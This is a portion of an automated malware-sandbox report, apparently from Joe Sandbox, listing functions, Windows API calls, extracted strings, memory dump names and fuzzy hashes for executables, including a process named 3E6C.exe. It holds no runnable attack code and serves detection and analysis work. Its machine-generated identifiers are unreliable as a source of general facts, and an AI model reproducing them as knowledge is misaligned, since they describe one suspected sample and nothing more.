Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC

Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
GlobalFree.KERNEL32(00000000), ref: 004063CA

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674

Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040492E
CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404906

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714

Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
CloseHandle.KERNEL32(?), ref: 00405C9D

Strings

Error launching installer, xrefs: 00405C74

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69

Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062D1, 004062D6

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E

Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

Analysis Process: 3E6C.exePID: 5796, Parent PID: 2580COMMON

Executed Functions

Function 0150ED90 Relevance: 7.2, Strings: 5, Instructions: 983COMMON

Download Yara Rule

Strings

TJcq, xrefs: 0150EF32
Te^q, xrefs: 0150F4B3
xbaq, xrefs: 0150EEBD
$ji, xrefs: 0150F163
pbq, xrefs: 0150F94A

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID: $ji$TJcq$Te^q$pbq$xbaq
API String ID: 0-1137945258
Opcode ID: a7c0708024844cc7e0ddadaa0e4324bc82c03343d0d38baee7ddb35a11b4558f
Instruction ID: 692ef7abd44fe75b6f49c15ca717e5837a5d376f8ee478ff45a2283c81714ce8
Opcode Fuzzy Hash: a7c0708024844cc7e0ddadaa0e4324bc82c03343d0d38baee7ddb35a11b4558f
Instruction Fuzzy Hash: BEA2A475A00228CFDB65CF69C984A9DBBB2FF89304F1581E9D509AB365DB319E81CF40

Function 0150ABA3 Relevance: 2.7, Strings: 2, Instructions: 172COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0150AC67
4'^q, xrefs: 0150AC92

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 7b43d9b52ea5350e35bc8738dd7f853ca854349a3f2f89d47f5e695da56cfcd1
Instruction ID: e1f722e58efe953f0869359a904f273413dd2f9f16ffbbddd6a8fbac598991f6
Opcode Fuzzy Hash: 7b43d9b52ea5350e35bc8738dd7f853ca854349a3f2f89d47f5e695da56cfcd1
Instruction Fuzzy Hash: D9710C70E006098FD748EF6AE9946ADBBF3FB98300F14D529D504EB2A9EF7458458B80

Function 0150ABB0 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0150AC67
4'^q, xrefs: 0150AC92

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: f0234e04ca6fd8ce4a6ae54764071a5eeec79dd6ebd8b850cf81c8dd6a38e726
Instruction ID: a43c2b124f7c436d04735862d09c80bbebd0a091a28c1ecf5883c8a57978bdee
Opcode Fuzzy Hash: f0234e04ca6fd8ce4a6ae54764071a5eeec79dd6ebd8b850cf81c8dd6a38e726
Instruction Fuzzy Hash: 5971EC70E006098FD748EF6AE9946ADBBF3FB98300F14D529D504EB2A8EF7458458B81

Function 075FE6A0 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Deq, xrefs: 075FE7A5

Memory Dump Source

Source File: 0000000C.00000002.4122947225.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_75e0000_3E6C.jbxd

Similarity

API ID:
String ID: Deq
API String ID: 0-948982800
Opcode ID: 08ff9e2c351186ced821df7c68f3f976853f8fda6a6434bf0a6ae879263bcd48
Instruction ID: 84973686128121d8bc1282e5b9039c7737d602014dec293ccf3a4a0fb6bcda48
Opcode Fuzzy Hash: 08ff9e2c351186ced821df7c68f3f976853f8fda6a6434bf0a6ae879263bcd48
Instruction Fuzzy Hash: 70D1D074A00219CFDB58DFA9D994A9DBBF2FF89300F1080A9D509AB365DB31AD81CF51

Function 01501C90 Relevance: 1.4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

Strings

Te^q, xrefs: 01501D35

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: c27c09efce7bfe9ab6df78fec05acc7c10de9bfaf105660331527dfbc3418eac
Instruction ID: 9865412270cfb76ab3e5d0fef5fc70f6bd7f535e96f862cc5c187bd0aaeaface
Opcode Fuzzy Hash: c27c09efce7bfe9ab6df78fec05acc7c10de9bfaf105660331527dfbc3418eac
Instruction Fuzzy Hash: 6A519E35A00909CFDB16DBA8D498BAD77E2BB89315F188479D1029F2D5CB34DC86CB52

Function 01501CA0 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

Te^q, xrefs: 01501D35

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 2f4673b41eb573af1e718faf36ba69a34070eb9b6b0f465915d51bd6bcfe3f56
Instruction ID: 5bd79792e5d3fbbe072f6f0700d4464dabd5bdb3678fe82d52eda680f01149be
Opcode Fuzzy Hash: 2f4673b41eb573af1e718faf36ba69a34070eb9b6b0f465915d51bd6bcfe3f56
Instruction Fuzzy Hash: DC519F35A00909CFDB16DBA9D4987AD77E2BB88315F188479D1029F3D5CB34DC86CB52

Function 015032ED Relevance: 1.4, Strings: 1, Instructions: 185COMMON

Download Yara Rule

Strings

sq, xrefs: 015032F4

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID: sq
API String ID: 0-1320738648
Opcode ID: 613dd5c7fcc92bd841226e8a80fa978130ceff20c0caf589dc641dbf38a867e0
Instruction ID: 1864b0a8d75a07ac3ce72d388fa0843761447bd72721f93effeb2976909ca851
Opcode Fuzzy Hash: 613dd5c7fcc92bd841226e8a80fa978130ceff20c0caf589dc641dbf38a867e0
Instruction Fuzzy Hash: 6C41CF34704148CFDB66DBA8E858BAA77F2FB89314F1584A5E0059F3AACB75DC46CB10

Function 015033F1 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2643761a9fdcd2a0bf8ea90010e278b08be9caf57d6d2cee5ab30a90e8221eb4
Instruction ID: 3fafe1d468b30a67c38229cd16c6ef024335e4b114c555436ab4df3850a59529
Opcode Fuzzy Hash: 2643761a9fdcd2a0bf8ea90010e278b08be9caf57d6d2cee5ab30a90e8221eb4
Instruction Fuzzy Hash: 2541BF34B00108CFDB66DBA8E858BAA77F2FB89314F1544A5E1059F3EACB759C46CB10

Function 01501B10 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e210cf8fc7117ae763c48b526e64a8042f6d943aabf51007150b5bbfa5f0e70
Instruction ID: 74425c7f943d68692838a06316c26675091a545d0edc9abdbc04cf533ee0086e
Opcode Fuzzy Hash: 8e210cf8fc7117ae763c48b526e64a8042f6d943aabf51007150b5bbfa5f0e70
Instruction Fuzzy Hash: 3E31C6357006058FD726DB79E49867DB7E6FB85750F0484B6D40ACF2A9EB30DC068B41

Function 0150277D Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3507d540e4aa9b94979b06a24a6540b8d081918329ca98078d9c43e204928dec
Instruction ID: 296d1639adb01cc6be4e6fbb16764699f3bc57e71942e6e1435a00e96c2aa053
Opcode Fuzzy Hash: 3507d540e4aa9b94979b06a24a6540b8d081918329ca98078d9c43e204928dec
Instruction Fuzzy Hash: 163137B0D00249DFDB15CFA9C584AEEBFF5BF88300F248429E949AB250DB349A45CF91

Function 01501B60 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86999d4334259bf4f9cad1d71d96cc486adb92538392e726a8a096cb0305cedd
Instruction ID: d7ca8667167544604be8127952643ddde9471e055de47cd833b54b1b48f01e3b
Opcode Fuzzy Hash: 86999d4334259bf4f9cad1d71d96cc486adb92538392e726a8a096cb0305cedd
Instruction Fuzzy Hash: EA21E9317047454FD7179B6DD49867ABBA2FB86350F0584A7D405CF2AAEB24C8068B81

Function 0150AE57 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4347d688730d6b22eb4b977f594cbbdb101a0fb3b13817d253700fdcb7a5bc09
Instruction ID: cd222f1e14530b1443221c6fa1f11af3e0c41089ec34ac9a423c2237b1495485
Opcode Fuzzy Hash: 4347d688730d6b22eb4b977f594cbbdb101a0fb3b13817d253700fdcb7a5bc09
Instruction Fuzzy Hash: 133129B0D0020ADFCB05DFA9C4446AEBBF2FF89300F1484A9D415EB265EB35AA45CF50

Function 01502788 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a32f84454a2dbf734eecc7d81cc91b62c5ec1f1bea045b35e459aed00c6d4318
Instruction ID: 2c21dbca199001aed7624e4198721fe493af4b3362088722c7a2095bc43f4840
Opcode Fuzzy Hash: a32f84454a2dbf734eecc7d81cc91b62c5ec1f1bea045b35e459aed00c6d4318
Instruction Fuzzy Hash: 313137B0D00248DFDB15CFAAC584ADEBFF5BF48300F248429E909AB250DB349945CF90

Function 0150AE68 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8f78b304b429ae8ebd403810186eb000d3f413a0187703ff893844f1d31aa6
Instruction ID: a24f446d6f5245073b3a971c1f89b4d474af6852d6dcce8f7941b167e7cd4f75
Opcode Fuzzy Hash: cd8f78b304b429ae8ebd403810186eb000d3f413a0187703ff893844f1d31aa6
Instruction Fuzzy Hash: 0F3129B0D0020ADFCB05DFA9C4446AEBBF6FF89300F14D869D515AB265EB35AA44CF50

Function 0126D030 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3945940677.000000000126D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0126D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_126d000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ceda276d26abe533442af2d1a6f3000b8c88f58c9eb7f5c16c179b6f6b2e623
Instruction ID: f6e2e56ddda582a6ee4421bbf744f512f3ae9f92accad13eddee33dac857d7fd
Opcode Fuzzy Hash: 2ceda276d26abe533442af2d1a6f3000b8c88f58c9eb7f5c16c179b6f6b2e623
Instruction Fuzzy Hash: D221377161424CDFCB11DF58DAC4B27BF69FB84314F20C169D9490B286C376D486CBA2

Function 0150AA88 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d32fbc7a0396dcdee9c840b78d3f84481c0d3287fb2b977ff73f192abf171914
Instruction ID: e54d8fed638ffb8283473f11a5955edf0dd18920e61e31e429ecd8df8c0904ec
Opcode Fuzzy Hash: d32fbc7a0396dcdee9c840b78d3f84481c0d3287fb2b977ff73f192abf171914
Instruction Fuzzy Hash: 69213970905248DFDB01EFA9D6487AEBFF5FB49304F0085AAE045AB2C1DBB44A88DB41

Function 075E25D1 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4122947225.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_75e0000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7cb22c6a345dde7311051418c31d1e150a85a3de93d8bb9f74dd294c52ecde3
Instruction ID: 76b0569b786b1c13f10f60d879e982d53d17a09d5051e4f33e79b9fe8001cde1
Opcode Fuzzy Hash: b7cb22c6a345dde7311051418c31d1e150a85a3de93d8bb9f74dd294c52ecde3
Instruction Fuzzy Hash: F531A274B052298FDBA4DF28CD84A99B7F1BB0A304F1084E5D90DA7B51DB349E85DF42

Function 0150AA98 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4ab564a1a09b5d36708e345ee0eb42494ab862e62c7e20f1f62d4af162af45a
Instruction ID: 45eb49e62372b6b2e5149e53e32f3f13fe95dea5608a0bab523e796ad53c5708
Opcode Fuzzy Hash: a4ab564a1a09b5d36708e345ee0eb42494ab862e62c7e20f1f62d4af162af45a
